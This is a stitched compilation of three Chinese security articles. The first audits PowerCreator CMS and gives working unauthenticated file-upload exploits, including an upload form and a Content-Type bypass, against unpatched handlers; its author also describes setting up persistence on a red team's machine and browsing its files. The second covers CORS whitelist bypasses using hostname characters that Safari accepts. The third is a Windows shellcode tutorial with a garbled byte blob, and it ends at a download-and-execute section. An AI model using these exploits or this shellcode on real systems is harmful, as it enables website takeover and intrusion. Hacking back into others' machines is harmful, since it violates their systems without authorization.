* [PPPoE-hijack](https://github.com/Karblue/PPPoE-hijack)
* [PPPoE工作原理以及PPPoE帧格式](http://www.360doc.com/content/12/0312/20/3725126_193822217.shtml)
## 致谢
感谢踩坑无助的时候[老陈](https://blog.sunflyer.cn/)的提点 | 社区文章 |
# 前言
2020某网行动期间，深夜难眠，回想起今天waf上一大堆误报和寥寥无几的告警，甲方爸爸提供的两荤一素已经换成了白粥榨菜，农夫已经换成了怡宝，猪肉换成了榨菜，或许我们是时长一个月实习生的身份，已经彻底暴露了，明天不知道是不是只能吃开水泡面了。唉，明天又要穿上白衬衫，
继续假装自己是5年工作经验的安全专家，今晚终于认清现实，活捉红队0day依然是我们遥不可及的梦。
生而为人，我很抱歉。
突然叮咚一声，server酱提示CS有人上线了，之前的悲伤已经烟消云散，CS上号一看，是一台红队机器，有人踩了蜜罐哈哈。做好权限维持以后开始翻他的文件（坏笑）。在这个人的冰蝎里发现了多个shell，其中有两个webshell的路径比较特别，引起了我的注意，遂进行了一波分析，虽然我无法活捉红队的0day，但是经过努力，成功分析出了一个1day。
# 分析
这两个webshell是这样的
<http://xxx.xxx.xxx.xxx/ResourcePic/MQ==.ASPX>
<http://xxx.xxx.xxx.xxx/fileManager/UploadFile/CoursePic/485b1b71-8035-44c1-9ceb-637cd68eda19.ASPX>
打开这两个站点，发现都是PowerCreator
CMS这一框架，如果排除是通过弱口令进入的后台，在后台上传getshell等可能外，应该是使用任意文件上传漏洞进行攻击的。
在互联网上进行了一通搜索，并没有发现这个CMS的任意文件上传payload，但是在CNVD中发现了关于这个CMS的漏洞描述
CNVD-2017-07290，漏洞描述：PowerCreator
CMS存在任意文件上传漏洞，该漏洞源于CMS编辑器未对文件上传做任何校验，允许攻击者利用漏洞上传任意格式文件，获得服务器控制权。
CNVD-2019-43598，漏洞描述：PowerCreator CMS存在文件上传漏洞，攻击者可利用该漏洞获取网站服务器控制权
注意到CNVD-2017-07290是CMS编辑器插件的漏洞，而CNVD-2019-43598是CMS自身的漏洞，厂商均未提供修复方案，那么看来，是通杀全部系统了
### 编辑器任意文件上传
根据描述，是编辑器的漏洞，查看源码发现该CMS采用了kindeditor编辑器，该编辑器存在任意文件上传漏洞
因为这个是烂大街的东西，关于对kindeditor编辑器任意文件上传的分析文章网上一搜一大堆，因此这里就略了。另外经过复现发现，只能传txt和html，不能传aspx，很鸡肋。
### 第一处任意文件上传漏洞UploadResourcePic.ashx
根据发现的两个shell，很明显shell的命名不是通过kindeditor编辑器上传的，一定是通过其他的方法上传上去的，那么我们来分析一下漏洞到底在哪呢？查找具有上传功能的点，发现了upload目录里全是上传功能文件
再结合第一个webshell路径：第一个shell：<http://xxx.xxx.xxx.xxx/ResourcePic/MQ==.ASPX>
根据这个ResourcePic目录，发现是上传功能目录下UploadResourcePic.ashx这样一个文件上传后保存的位置，对其进行代码审计
<%@ WebHandler Language="C#" Class="UploadResourcePic" %>
using System;
using System.Web;
public class UploadResourcePic : IHttpHandler
{
public void ProcessRequest(HttpContext context)
{
context.Response.ContentType = "text/plain";
string rid = context.Request["ResourceID"] ?? string.Empty;
if (!string.IsNullOrEmpty(rid))
{
if (context.Request.Files.Count > 0)
{
HttpPostedFile file = context.Request.Files[0];
string Url = PowerCreator.MediaServer.PublicClass.WebUtils.WebRoot + "/ResourcePic/";
string Path = context.Server.MapPath(Url);
if (System.IO.Directory.Exists(Path) == false)
{
System.IO.Directory.CreateDirectory(Path);
}
string ext = file.FileName.Substring(file.FileName.LastIndexOf('.')).ToUpper();
if (file.ContentType != "image/jpeg")
{
context.Response.Write(-2);
}
else
{
string newFileName = PowerCreator.MediaServer.PublicClass.Base64.Encode(rid) + ext;
file.SaveAs(Path + newFileName);
context.Response.Write(newFileName);
}
}
else
{
context.Response.Write(-1);
}
}
else
{
context.Response.Write("参数错误");
}
context.Response.End();
}
public bool IsReusable
{
get
{
return false;
}
}
}
代码逻辑及漏洞如图所示：
根据上面的分析，其实漏洞的关键点就是上传接口未授权访问可以直接进行上传操作，存在一个Content-Type为image/jpeg的判断，另外需要注意的是传递一个ResourceID变量才能成功进入到上传逻辑。
直接访问，没传递rid变量，回显参数错误，因此上传接口前面没有任何校验，可以直接进行文件上传操作
给rid变量赋个值，也即任意使用get方法或者post方法传递ResourceID变量，但是由于不存在文件上传操作，报文类型不符合multipart/form-data规范，因此返回-1
那么只要本地构造一个上传表单，在上传的时候将Content-Type改成image/jpeg，就可以进行任意文件上传，上传过后文件命会是ResourceID变量的值进行base64编码+上传文件的扩展名
本地构造表单
<form action="http://xxx.xxx.xxx.xxx/upload/UploadResourcePic.ashx?ResourceID=1" enctype="multipart/form-data" method="POST">
<input type="file" class="file1" name="file1" />
<button type="submit" class="but1">上传</button>
</form>
改一个Content-Type为image/jpeg，即可成功getshell
### 第二处任意文件上传漏洞uploadCoursePic.ashx
接下来还有一个webshell，<http://xxx.xxx.xxx.xxx/fileManager/UploadFile/CoursePic/485b1b71-8035-44c1-9ceb-637cd68eda19.ASPX>
一样的思路，找哪个功能函数可以上传到/fileManager/UploadFile/CoursePic/目录，发现是uploadCoursePic.ashx
<%@ WebHandler Language="C#" Class="uploadCoursePic" %>
using System;
using System.Web;
public class uploadCoursePic : IHttpHandler
{
public void ProcessRequest(HttpContext context)
{
context.Response.ContentType = "text/plain";
string delFileName = context.Request["fileName"];
string CourseID = context.Request["CourseID"];
if (!string.IsNullOrEmpty(CourseID))
{
if (delFileName == new PowerCreator.MediaServer.Course.Logic.Course().Load(int.Parse(CourseID)).PicPath)
delFileName = "";
}
if (!string.IsNullOrEmpty(delFileName))
{
try
{
System.IO.File.Delete(context.Server.MapPath(delFileName));
}
catch (Exception e) { }
}
if (context.Request.Files.Count > 0)
{
HttpPostedFile file = context.Request.Files[0];
string Url = PowerCreator.MediaServer.PublicClass.WebUtils.WebRoot + "/fileManager/UploadFile/CoursePic/";
string Path = context.Server.MapPath(Url);
if (System.IO.Directory.Exists(Path) == false)
{
System.IO.Directory.CreateDirectory(Path);
}
string ext = file.FileName.Substring(file.FileName.LastIndexOf('.')).ToUpper();
if (!".PNG.JPG".Contains(ext))
{
context.Response.Write(-2);
}
string newFileName = Guid.NewGuid().ToString() + ext;
file.SaveAs(Path + newFileName);
context.Response.Write(Url + newFileName);
}
else
{
context.Response.Write(-1);
}
}
public bool IsReusable
{
get
{
return false;
}
}
}
前面一部分代码做了一个文件删除的操作，没什么用，重点在28行开始，分析如下：
漏洞原因在于：如果没有通过扩展名为图片的判断的话，会返回-2，但是返回以后程序并没有退出或跳过文件上传操作，依然进行了文件上传操作。我真是没想明白，开发做了这一步判断的目的是什么。。。。。。。。
那么payload的构造就很简单了，直接对着uploadCoursePic.ashx接口发一个multipart/form-data规范报文，无需任何绕过
返回了一个-2，紧接着跟着了成功上传的webshell的地址，和我们分析的预期一模一样
### 第三处任意文件上传漏洞UploadLogo.ashx
本来分析应该到此为止了的，正好作为一个合格的划水的蓝方，闲着也是闲着，不如把其他上传接口也一并看一遍吧，UploadLogo.ashx，代码如下：
<%@ WebHandler Language="C#" Class="UploadLogo" %>
using System;
using System.Web;
public class UploadLogo : IHttpHandler {
public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
if (context.Request.Files.Count > 0)
{
HttpPostedFile file = context.Request.Files[0];
string Url = PowerCreator.MediaServer.PublicClass.WebUtils.WebRoot + "/images/logo/";
string Path = context.Server.MapPath(Url);
if (System.IO.Directory.Exists(Path) == false)
{
System.IO.Directory.CreateDirectory(Path);
}
string ext = file.FileName.Substring(file.FileName.LastIndexOf('.')).ToUpper();
string newFileName = context.Request["fileName"];
file.SaveAs(Path + newFileName);
context.Response.Write(Url + newFileName);
}
else
{
context.Response.Write(-1);
}
context.Response.End();
}
public bool IsReusable {
get {
return false;
}
}
}
文件会传到logo目录，如图
如果不赋值fileName变量会报错，如图
只要在上传的时候通过get或者post给fileName赋值即可，payload如下
### 第四处uploadActPic.aspx不存在漏洞
其实其他几个文件都不存在任意文件上传漏洞了，这里就不再赘述，但是uploadActPic.aspx这个文件比较特殊，里面全是HTML代码，真正的代码通过父类来引入，在dll中，分析过程如下:
哥斯拉导出bin目录
使用dnspy反编译dll文件，uploadActPic方法在LMS_MediaServer.dll这个文件里，查看逻辑使用白名单校验，不存在任意文件上传
至此，代码审计结束 | 社区文章 |
# 高级CORS漏洞利用技巧
##### 译文声明
本文是翻译文章，文章来源：sxcurity.pro
原文地址：<https://www.sxcurity.pro/advanced-cors-techniques/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
我之前看过linussarud和bo9om对于Safari未能正确处理特殊字符的利用的研究：
<https://labs.detectify.com/2018/04/04/host-headers-safari/>
<https://lab.wallarm.com/the-good-the-bad-and-the-ugly-of-safari-in-client-side-attacks-56d0cb61275a>
上述文章深入的剖析了safari在某些特殊的情况下会导致xss或者是cookie注入。希望本文能在这方面带给大家更多的思考和创造的空间。
## 简介
去年11月份，我写了一篇文章关于如何利用safari未能正确处理特殊字符实现绕过yahoo
view同源配置。接下来的一段时间，我发现了有更多的技巧去绕过这些配置策略，在此我决定公开一些我使用的技巧。
在此假设你对于cors有些基础的了解，知道怎么去利用这些错误的配置。这里有一些文档你可以去了解相关知识：
<http://blog.portswigger.net/2016/10/exploiting-cors-misconfigurations-for.html>
<https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/>
## 背景知识：dns和浏览器
### 简介
域名系统就像是一个服务器的地址目录，它实现域名和ip之间的转换，使得互联网使用起来更方便。
当你尝试通过浏览器访问一个url时，dns完成了一次地址转换—>初始化一个tcp链接—->服务器响应syn+ack—->浏览器发送http请求—->渲染响应内容。
DNS服务器会响应任意请求，这样你可以在子域名发送任意字符，只要有响应的dns记录就会响应。
例如：dig A “<@$&(#+_`^%~>.withgoogle.com” @1.1.1.1 | grep -A 1 “ANSWER SECTION”
### 浏览器
我们已经知道dns服务器会响应这些请求，那么浏览器会怎么处理呢？大部分浏览器在发出请求之前会校验域名的有效性，例如：
**Chrome**
**Firefox**
**Safari**
注意我说的是大部分浏览器会校验域名的有效性，而不是全部，safari就是个例，它并不会校验域名的有效性，而是直接发送请求：我们可以使用不同字符的任意组合，甚至是不可打印字符：
,&'”;!$^*()+=`~-_=|{}%
// non printable chars
%01-08,%0b,%0c,%0e,%0f,%10-%1f,%7f
## 深入cors配置
大部分cors配置都会包括一个可访问的白名单信息，这个白名单通常用正则表达式来实现。
例如1：^https?://(.*.)?xxe.sh$
目的：匹配到来自xxe.sh和任何子域名的访问
攻击者要想从这里获取数据就必须有一个相关域的xss漏洞。
例如2：^https?://.*.?xxe.sh$
目的：和例1一样，匹配来自xxe.sh和任何子域的请求，但这个正则有个问题，会造成漏洞，问题存在于：.*.?
由于.*.并不是整体,?只对.之后的符号有影响，因此xxe.sh之前可以有任意字符。这也意味着攻击者可以发送任意以xxe.sh结尾的请求，实现跨域。这是一个非常普通的绕过技术，这里有一个相关案例：h[ttps://hackerone.com/reports/168574](https://hackerone.com/reports/168574)
例如1：^https?://(.*.)?xxe.sh:?.*
目的：匹配到来自xxe.sh和任何子域名的访问
你能发现问题吗？
和第二个例子一样，？仅仅影响：。因此只要我们在xxe.sh后加上任意字符都能被接受。
## 关键性问题
怎么利用safari对于特殊字符的不当处理，实现对cors配置不当漏洞的利用呢？
假设以下是apache的配置文件： 目的也是为了接受xxe.sh和子域的访问。
这个案例并不像先前的几个例子能够通过一样的技巧绕过，除非有一个子域的xss，但让我们再思考一下。
我们知道在xxe.sh后的任意字符(. – a-z A-Z 0-9)都不会被信任，那如果是一个空格呢？
可以看到我们成功了，但这样一个域名任何浏览器都不会支持。
由于正则表达式仅仅匹配ascii字符还有. –，那任何特殊字符都是可以被接受的。
这样的域名就能被safari浏览器支持了。
## 漏洞利用
事先准备：1.将dns记录指向你的主机 2.nodejs
和大多数浏览器一样，Apache和nginx也不支持特殊字符，因此用nodejs实现比较容易。
Serve.js
同一目录下的cors.html:
通过nodejs执行如下命令：node serve.js &
和之前描述的一样，由于正则匹配的是ascii和.
–，在xxe.sh后的特殊字符是被信任的。如果我们打开safari，访问[http://x.xxe.sh{.<your-domain>/cors-poc](http://x.xxe.sh%7B.%3Cyour-domain%3E/cors-poc)，我们可以看到成功的获取到了数据：
令我注意的是不仅仅safari支持_，chrome和firefox也支持因此[http://x.xxe.sh_.<your-domain>/cors-poc](http://x.xxe.sh_.%3Cyour-domain%3E/cors-poc)能被大多数浏览器支持。
## 实践
当记住这些特殊字符后，找出哪些域名会受影响就只是时间问题了。为了节约时间，我写了一个fuzz，用来找出这些问题，这个fuzz可以在我的github上找到——
[https://github.com/sxcurity/theftfuzzer](https://github.com/sxcurity/theftfuzzer)
审核人：yiwang 编辑：边边 | 社区文章 |
# 一步步学写Windows下的Shellcode
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
如何在WIndows下编写一个shellcode？为什么会问这个问题，前段时间在做win下的Exploit，但是都是使用大佬写的shellcode，无法实现个人的一些需求。而网络上编写shellcode的教程大多是关于Linux的，加之顺带学习PE文件结构，所以打算写一篇关于Windows
下shellcode的编写，为要编写Shellcdoe的读者提供一些参考。
## 摘要：
在C语言中，调用一个函数，编写者无需关心函数地址是如何获取的，所有的操作IDE在进行链接的时候帮助我们完成了。但是在shellcode中，这些操作都需要我们自己去完成，理解PE结构，理解函数表，这些都是shellcode编写最有魅力的一部分。
本文的逻辑首先是从C代码着手，学习如何使用汇编重现的基础，编写一个无移植性的shellcode作基础引导。在掌握了硬编码编写之后，通过掌握获取函数导出表，编写能够在所有Windows版本上运行的通用shellcode。
这篇文章时间跨度比较久远，起笔还是暑假在贵阳的时候，后来做了一段时间WEB安全，这篇文章便写了一小半就烂尾了。后来投入到Win/Browser下漏洞的怀抱中（最近又回Ubuntu了，渣男。出戏：陆司令：何书桓！你在我的两个女儿之间跳来跳去，算什么东西！），需要在WIN7下做一些自定义shellcode，自己之前自定义的shellcode居然无法在WIN7下运行，于是想起这篇未完工的文章，借此对shellcode编写做一次总结与复习。
## 0x00 创建自己的SC实验室
当我们创建自己的shellcode实验室时候，我们必须清楚无论是自己编写的，亦或者是网络上获取的shellcode，我们都需要对其的行为有一个深刻的了解。
首先是安全性，要做的就是在一个相对安全的环境下进行测试（例如虚拟机），以保证不会被黑吃黑。
其次，这个测试方法要足够方便。不能将shellcode随意的扔到自己写的Exploit中进行测试，因为大多数Exploit对shellcode的格式要求是非常严格的，尤其是栈溢出方面的漏洞。初期编写的shellcode可能包含大量Null字节，容易被strcpy截断。（比如笔者写的shellcode基本都通不过栈溢出的测试。。汗，一般直接扔到Browser的Exploit里）
下面是我们的shellcode调试环境，如果是WIN7以后的版本需要将DEP选项关闭。
**_Shellcode-lab_**
调试一段shellcode
环境：windows xp sp0
编译器：VC++6.0
char shellcode[]="xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30"
"x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xff"
"xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf2x52"
"x57x8bx52x10x8bx4ax3cx8bx4cx11x78xe3x48x01xd1"
"x51x8bx59x20x01xd3x8bx49x18xe3x3ax49x8bx34x8b"
"x01xd6x31xffxacxc1xcfx0dx01xc7x38xe0x75xf6x03"
"x7dxf8x3bx7dx24x75xe4x58x8bx58x24x01xd3x66x8b"
"x0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24"
"x24x5bx5bx61x59x5ax51xffxe0x5fx5fx5ax8bx12xeb"
"x8dx5dx6ax01x8dx85xb2x00x00x00x50x68x31x8bx6f"
"x87xffxd5xbbxf0xb5xa2x56x68xa6x95xbdx9dxffxd5"
"x3cx06x7cx0ax80xfbxe0x75x05xbbx47x13x72x6fx6a"
"x00x53xffxd5x6ex6fx74x65x70x61x64x2ex65x78x65"
"x00";
int main(int argc,char **argv)
{
/*方法一 VC++6.0 error报错*/
/*
int(*func)(); //创建一个函数指针func
func=(int (*)())shellcode; //将shellcode的地址赋值给func
(int)(*func)();//调用func
*/
/*方法二 asm*/
__asm
{
lea eax,shellcode//将shellcode地址赋值给eax
push eax//将eax入栈
ret//跳转到eax地址
}
//PS:第二种方法只有关闭NX/DEP才行（XP下就没有这个问题）
}
## 0x01从C到shellcode
shellcode大多是包含很多恶意行为的代码，就如它名字由来的那样 “获取shell的代码”。
但是在漏洞大多数复现中，我们需要做的仅仅是证明自己能够利用，所以我们编写的shellcode需要满足无害性和可见性。例如弹出一个计算器，或者如下面的C代码一样，让Exploit弹出一个极具个人风格的MessageBox也是一个不错的选择。
C实现非常简单，只需要调用MessageBox函数，写入参数。
#include<windows.h>
int main(int argc,char** argv)
{
MessageBox(NULL,"You are hacked by Migraine!","Pwned",MB_OK);
}
放入IDA，查找到Main函数的位置。
可以查看反汇编，四个参数分别PUSH入栈，然后调用MessageBoxA
MSDN对MessageBox的描述
int MessageBox( HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaptioUINT uType );
在OD中下断点调试，得到同样的结果。
基于调试可知，MessageBoxA从USER32.DLL加载到内存的地址为0x77D3ADD7
当然这个地址是非常不稳定的，受到操作系统版本还有很多因素(例如ASLR)的影响
不过为了简便shellcode，目前将这部分先放一放。
在我们编写的另一个程序中（见下文），发现这个函数依旧被映射到了同一个位置
因为XP没有开启ASLR的缘故，DLL加载的基地址不会变化
值得注意的是该程序需要调用USER32.DLL，否则需要手动LoadLibrary
但是现在这段C生成的代码，直接提取字节码是行不通的。
函数的参数被放在了该程序的Rodata段中调用，与地址无关的段。
而我们要求shellcode能在任何环境下运行，需要保证参数可控，即需要将参数入栈，然后再调用。
接下来用汇编重写一遍（C嵌入asm）
通过自己将数据入栈，然后调用MessageBoxA
#include<windows.h>
void main()
{
LoadLibrary("user32.dll");//Load DLL
__asm
{
push 0x00656e;ne
push 0x69617267;grai
push 0x694d2079;y Mi
push 0x62206565;ed b
push 0x6b636168;hack
push 0x20657261;Are
push 0x20756F59;You
mov ebx,esp
push 0x0
push 0x656e6961;aine
push 0x7267694d;Migr
mov ecx,esp
//int MessageBox( HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption,UINT uType );
xor eax,eax
push eax//uTyoe->0
push ecx//lpCaption->Migraine
push ebx//lpText->You are hacked by Migraine
push eax//hWnd->0
mov esi,0x77D3ADD7//User32.dll->MessageBoxA
call esi
}
}
将ASM提取字节码
再OD中查看这一段ASM
使用UltraEditor查看16进制字节码，然后找到我们的ASM，复制便成功提取了我们的shellcode
68 6E 65 00 00 68 67 72 61 69 68 79 20 4D 69 68
65 65 20 62 68 68 61 63 6B 68 61 72 65 20 68 59
6F 75 20 8B DC 6A 00 68 61 69 6E 65 68 4D 69 67
72 8B CC 33 C0 50 51 53 50 BE D7 AD D3 77 FF D6
5F 5E 5B 83 C4 40 3B EC E8 97 3B FF FF
调整一下格式，便获取到了shellcode
char shellcode[]="x68x6Ex65x00x00x68x67x72x61x69x68x79x20x4Dx69x68"
"x65x65x20x62x68x68x61x63x6Bx68x61x72x65x20x68x59"
"x6Fx75x20x8BxDCx6Ax00x68x61x69x6Ex65x68x4Dx69x67"
"x72x8BxCCx33xC0x50x51x53x50xBExD7xADxD3x77xFFxD6"
"x5Fx5Ex5Bx83xC4x40x3BxECxE8x97x3BxFFxFF";
放入上文搭建的shellcode调试环境，添加LoadLibrary(“user32.dll”);以及头文件#include<windows.h>
在WInodws xp下运行效果理想
### 优化shellcode
去除null字节
这里使用xor配合sub就能够完全去除null，还有一些其他方法，使用16位寄存器避免null字节，在《exploit编写教程》上面都有详细的介绍，就不再重复造轮子了。
__asm
{
/*使用sub来替换/x00*/
mov eax,0x1111767f
sub eax,0x11111111
push eax
//push 0x0000656e;ne
push 0x69617267;grai
push 0x694d2079;y Mi
push 0x62206565;ed b
push 0x6b636168;hack
push 0x20657261;Are
push 0x20756F59;You
mov ebx,esp
/*使用xor来替换/x00*/
xor eax,eax
push eax
//push 0x0
push 0x656e6961;aine
push 0x7267694d;Migr
mov ecx,esp
//int MessageBox( HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption,UINT uType );
xor eax,eax
push eax//uTyoe->0
push ecx//lpCaption->Migraine
push ebx//lpText->You are hacked by Migraine
push eax//hWnd->0
mov esi,0x77D3ADD7//User32.dll->MessageBoxA
call esi
}
此时生成的shellcode就不存在x00了
## 0x02编写更稳定Shellcode
如何提高shellcode 的可移植性一直是一个需要我们在一的问题。
前文我们编写的MessageBoxA的地址是硬编码的，导致这段shellcode只能利用于windows xp sp0。
但是Windows并不支持像Linux那样的int
0x80中断呼叫函数的操作，于是唯一的方法就是通过PE文件中的函数导出表获取函数此刻的地址，这个方法在提高可移植性的同时，还可以一劳永逸地解决ASLR带来的地址偏移问题。
### 1\. 动态定位kernel32.dll
不同版本的操作系统，kernel32.dll的基地址也是不同的。Windows没有linux那样方便的中断机制来调用系统函数，所以只能通过基址+偏移地址来确定函数的位置。
通过PEB获得基址
我们可以通过Windbg解析PEB（WindowsXP符号表已经不再支持自动下载）
所以手动下载安装WindowsXP-KB936929-SP3-x86-symbols-full-ENU.exe
但是碰到一些问题，所以在Windows10下用Windbg(x86)进行PEB分析
使用windbg加载任意一个x86程序，会出现break，等待到出现int 3即可进行操作
!peb可以自动分析，可以查询到KERNEL32.DLL的地址。
PEB是进程环境块，由TEB线程环境块偏移0x30字节。我们这里需要直到查找地址的原理。
大概流程是通过FS段选择器找到TEB，通过TEB找到PEB，然后获取kernel和ntdll的地址。
接下来我们在windbg中，来手工实现PEB结构分析，之后会使用汇编完成Kernel基址的读取。
查看PEB结构
直接查看LDR结构
偏移0xc，选择InLoadOrderModuleList
查看这个_LIST_ENTRY结构
_LIST_ENTRY 是一个存放双向链表的数据结构（包含于_LDR_DATA_TABLE_ENTRY）
_LDR_DATA_TABLE_ENTRY是存放载入模块信息的结构，并且是由_LIST_ENTRY这个双向链表串联起来。
由三种串联方式，区别仅在于排列顺序（上文我们偏移0x14选择InMemoryOrderModuleList ）
+0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x51c00 - 0x78f6b88 ]
+0x014 InMemoryOrderModuleList : _LIST_ENTRY [ 0x51c08 - 0x78f6b90 ]
+0x01c InInitializationOrderModuleList : _LIST_ENTRY [ 0x51c90 - 0x78f6b98 ]
第一个_List_ENTRY指向的地址是0x51c08(因为InMemoryOrderModuleList的指针指向的是下一个结构的InMemoryOrderModuleList，而不是_LDR_DATA_TABLE_ENTRY的结构头，需要偏移0x8)
查看对应的_LDR_DATA_TABLE_ENTRY结构，得知这是iexplore.exe(调试的宿主程序)的基地址为0x01120000（DLLBase）
接下来顺着LIST_ENTRY,往下寻找结点。发现kernel在第三个结点。
查看这个地址的_LDR_DATA_TABLE_ENTRY结构
通过这两次观察，可以发现，实际上这个结构体的第一个结构就是_List_ENTRY,负责将这些_LDR_DATA_TABLE_ENTRY结构串联成链表。
偏移0x18可以得出DllBase为0x77e10000
成功获取Kernel的基地址。
用接下来用汇编实现kernel地址的读取
原理是在InMemoryOrderModuleList结构中，kernel位置固定为第三个。
global CMAIN
CMAIN:
mov ebp, esp; for correct debugging
xor ebx,ebx
mov ebx,[fs:0x30] ;TEB+0x30->PEB
mov ebx,[ebx+0xc] ;PEB+0xc->LDR
mov ebx,[ebx+0x14] ;LDR+0x14->InMemoryOrderModuleList-->_LIST_ENTRY第一个节点->??.dll
mov ebx,[ebx] ;-->_LIST_ENTRY第二个节点->ntdll.dll
mov ebx,[ebx] ;-->_LIST_ENTRY第三个节点->Kernel.dll
mov ebx,[ebx+0x10]; DllBase偏移0x18减去指向偏移0x8;下文会详细分析
xor eax, eax
ret
使用SASM调试，在结尾下断点，发现ebx已经成功赋值为了kernel的地址，与windbg显示的一致。（此处的汇编代码是之前在另一台机器上做的实验，所以kernel地址不同，希望不要引起争议）
使用命令!peb
如果需要在VS下编译，也可采用内联汇编实现。
int _tmain(int argc, _TCHAR* argv[])
{
int kernel32=0;
_asm{
xor ebx,ebx
mov ebx,fs:[0x30]
mov ebx,[ebx+0xc]
mov ebx,[ebx+0x14]
mov ebx,[ebx];ntdll
mov ebx,[ebx];kernel
mov ebx,[ebx+0x10];DllBase
mov kernel32,ebx
}
printf("kernel32=0x%x",kernel32);
getchar();
return 0;
}
上述代码中（SASM），比较需要注意的第15行为ebx+0x10而不是0x18（_LDR_DATA_TABLE_ENTRY结构中标准的DllBase偏移）
主要原因是InMemoryOrderLinks的指针指向的是下一个_LDR_DATA_TABLE_ENTRY的InMemoryOrderLinks（结构偏移0x08），所以需要该地址减去-0x8才是正确的文件头（图中案例0x954dd0-0x8）
所以当ebx存放InMemoryOrderLinks的指针时，要获取DllBase需要偏移0x18-0x8=0x10
至此我们已经获取到了kernel32.dll的基地址，获取这个地址的方法还有很多方法，使用SEH、TEB都可以间接获取Kerne32的地址，如果有需要可以参考《Exploit编写系列教程》。还有需要注意的是不同系统下，某些获取方法可能会失效，这次实验的测试环境（Win7）下的寻址就和之前的系统有一些不同，所以可能不会向前兼容，不过通过windbg对单个系统进行符号调试，是很容易发现区别的并且修改方案。
### 2\. 获取函数地址
在理解这部分之前，我们首先需要对PE格式有一定的了解。就从我们刚才获取了基地址的Kernel32作为基础，一步步看如何获取系统API函数的地址。
首先从DOS头开始，Windbg能够使用符号表来对地址进行解析。
解析_IMAGE_DOS_HEADER结构，我们只需要了解e_lfanew字段，指向PE头，该字段在在DOS头偏移0x3c的位置。
之前的kernel基址加上e_lfanew字段的偏移（0n开头表示十进制）是指向PE头的指针。
获取了PE头指针，我们即可以使用windbg解析PE头的_IMAGE_NT_HEADERS结构
_IMAGE_FILE_HEADER 是一个结构体，包含代码数目、机器类型以及特征等信息。
而我们这里需要使用的结构体是_IMAGE_OPTIONAL_HEADER
继续利用windbg分析，经过两次分析，现在的读者应该也已经轻车熟路了。
分析_IMAGE_OPTIONAL_HEADER，其包含以下几个信息。
很显然，偏移0x60的DataDirectory段就是函数导出表的偏移。
AddressOfEntryPoint：exe/dll 开始执行代码的地址，即入口点地址。
ImageBase：DLL加载到内存中的地址，即映像基址。
DataDirectory-导入或导出函数等信息。
继续解析这个结构，终于获取到了这个结构到VA。
因为我们之前的解析都没有用到指针，所以可以一起算VA偏移PE头一共0x78字节（240是PE偏移DOS，是动态获取）
获取到DATA DIRECTORY结构到VirtualAddress地址
我们关心的主要有三个数组结构
AddressOfFunctions：指向一个DWORD类型的数组，每个数组元素指向一个函数地址。
AddressOfNames：指向一个DWORD类型的数组，每个数组元素指向一个函数名称的字符串。
AddressOfNameOrdinals：指向一个WORD类型的数组，每个数组元素表示相应函数的排列序号
AddressOfNames的结构是一个数组指针，每个机器位（4字节）都指向一个函数名的字符串。
所以我们可以通过遍历这个数组，结合字符串匹配获取到该函数的序号。
AddressOfNameOrdinals存放这对应函数的索引值，在获取了函数的序号之后，按照序号查找函数索引值。
需要注意的是每个索引值占2字节。
例如第三个函数ActivateActCtx函数的索引值为4
AddressOfFunctions则根据索引排序，存放着函数的地址。
地址加上0x10[索引4字节*指针4字节]存放ActivateActCtx函数的偏移地址。
我们使用汇编来实现这一过程，接着上面的汇编代码，此时的EBX存放Kernel32的地址。
;从Kernel32的PE头，获取DATA DIRECTORY的地址
;Get address of GetProcessAddress
mov edx,[ebx+0x3c] ;DOS HEADER->PE HEADER offset
add edx,ebx ;PE HEADER
mov edx,[edx+0x78] ;EDX=DATA DIRECTORY
add edx,ebx ;EDX=DATA DIRECTORY
;将字符串与AddressOfNames 数组匹配，获得函数的序号
;compare string
xor ecx,ecx
mov esi,[edx+0x20]
add esi,ebx
Get_Func:
inc ecx
lodsd ;mov eax,esi;esi+=4
add eax,ebx;
cmp dword ptr[eax],0x50746547 ;GetP
jnz Get_Func
cmp dword ptr[eax+0x4],0x41636f72;proA
jnz Get_Func
cmp dword ptr[eax+0x8],0x65726464 ;ddre
jnz Get_Func
;通过序号在AddressOfNameOrdinals中获取索引
;get address
mov esi,[edx+0x24] ;AddressOfNameOrdinals
add esi,ebx
mov cx,[esi+ecx*2];num
dec ecx
;通过索引在AddressOfFunctions中获取函数地址，存放于EDX
mov esi,[edx+0x1c];AddressOfFunctions
add esi,ebx
mov edx,[esi+ecx*4]
add edx,ebx ;EDX = GetProcAddress
此时我们已经获取了GetProcAddress函数的地址，所有关于PE文件的内容到这里也就结束了，之后我们就可以想C语言一样非常容易地调用一个函数。我们已经度过了编写shellcode最黑暗的过程，接下来迎接着我们的将是一条康庄大道。
通过GetProcAddress，我们首先可以使用获取LoadLibrary函数的地址，该函数可以用来加载user32模块，同时获取其基地址。这部分就比较简单了，直接贴代码。
;Get LoadLibrary
xor ecx,ecx
push ebx ;Kernel32 入栈备份
push edx ;GerProcAddress 入栈备份
push ecx ;0
push 0x41797261 ; aryA
push 0x7262694c ; Libr
push 0x64616f4c ; Load
push esp;"LoadLibraryA"
push ebx ;
call edx ;GerProcAddress(Kernel32,"LoadLibraryA")
add esp,0xc ;pop "LoadLibraryA"
pop ecx; ECX=0
push eax ;EAX=LoadLibraryA
push ecx
mov cx, 0x6c6c ; ll
push ecx
push 0x642e3233 ; 32.d
push 0x72657375 ; user
push esp ; "user32.dll"
call eax ; LoadLibrary("user32.dll")
到这里，有一定汇编和WIN32基础的读者已经可以编写shellcode逻辑了，思路即通过GetPrcAddress函数获取需要的函数地址，能结合完成各项功能，剩下的部分就需要读者发挥自己天才的想象力了。
文末会提供一个完整编写的shellcode作为案例。
## 0x03三种经典的shellcode形式
Shellcode在功能性上的实现，主要分为以下三大类
分别是下载恶意文件执行、程序本身捆绑文件还有直接反弹shell获得控制权
在内核层面则还有提权等操作，这里只对应用层shellcode功能实现做一个归类。
### （1）下载执行
